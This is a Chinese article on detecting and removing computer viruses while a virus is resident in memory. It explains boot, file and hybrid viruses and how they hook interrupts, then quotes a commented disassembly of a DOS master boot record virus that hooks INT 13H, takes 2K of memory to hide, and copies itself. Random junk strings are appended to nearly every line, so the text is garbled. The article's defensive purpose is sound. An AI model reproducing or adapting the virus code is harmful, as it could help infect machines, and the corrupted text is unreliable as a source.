近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 tEP~`$9
?? *ZP$dQ
?? 一 、 带毒环境下检测清除病毒的意义 eglcf z%
?? A+i|zo5p=k
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 :/'2@M
?? 3n-~+2l
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 t>;u;XY!;
?? >-fOkOWXy
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 !_<zK:`-L
?? I g*68M<
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。 xu[6h?u(h8
?? 8/cD7O
?? 二 、带毒环境下检测清除病毒的原理 Y(QLlJ*)/
?? Ia-`x/r*m
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。 E'qGK T
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。 >g8H
D.?Rc'yD
9C[i#+_3M
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister " B;.]<k'3
病毒体: `0a=A#]1o
JMP 01AF ;JMP到01AF /Zs;dam
DB 00 ;病毒标计 1s5FjD?M
DW 00F5 ;此为搬到高位址后,远程跳转指令 lJHV c"*/
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX ^b)8l
DB 02 g/Q hI
DW 0003 ;此为软盘识别标记,硬盘为0007 Cisv**9
DW EC59 ; $oKT-G
DW F000 ;INT 13H的原入口 <RzGxhT
. eZ+pZ q
. n<47#-
. Bu4J8eLx
. PScq-*^
. t.'| [pOV
XOR AX,AX ;清除AX |E:q!4?0
MOV DS,AX; ;让DS=0000 9AQMB1D*v4
CLI ;清I标志积存器 LlAMtw"
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 'lwLe3.c
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 h">L>*Wfx
MOV SP,AX ;开机时为0000:7CB6 hkOhY3K5
STI ;设I标志积存器 W8hf
Qpw
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A y;W|)
PUSH AX ;用RETF,把程序转到引导或分区表位置 *`D(drnT{
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 YU! SdT$
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 ZZ/F}9!=
MOV AX,[004E] ;取INT 13H的段地址 <n+?7`d,
MOV [7C0C],AX ;存到010C )Zx;Z[
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 #P[d?pY
;读写以便传播发作 oJ}!qrrH
Qu4Bd|`(k
MOV AX,[0413] ;取得内存K数,放在AX et[n ;nl>V
DEC AX ; 6`(x)Q9
DEC AX ;减2k内存 w6ZyMR,T
MOV [0413],AX ;存回,通常是638K Y>v(UU
MOV CL,06 ; &~`Ay4hq
SHL AX,CL ; [|{2&830
MOV ES,AX ;算出减2K后病毒本体的位址 nk8jXZ"w
MOV [7C05],AX ;AX存入0105 ,CACQhrng
r9:Cq
;病毒常用手法将系统高段内存减少以便驻留 2xy
&mNx
;这样可以免于被其他程序覆盖 ?V6A:8t,
V'[Lqe,y
MOV AX,000E ;病毒拦INT 13H UuDs
;ISR起始的偏移量 [k)xn3[
MOV [004C],AX ; $-4OveS~B
MOV [004E],ES ;设原为病毒的INT 13H v5J%
p4
MOV CX,01BE ;病毒长度为1BE U/2]ACGCN^
MOV SI,7C00 ;从JMP 01AF开始 h>>KH*dQ
XOR DI,DI ;DI=0 ]:Y@pZ
CLD ;清方向标志 (.6~t<DRv
REPZ; a "*DJ&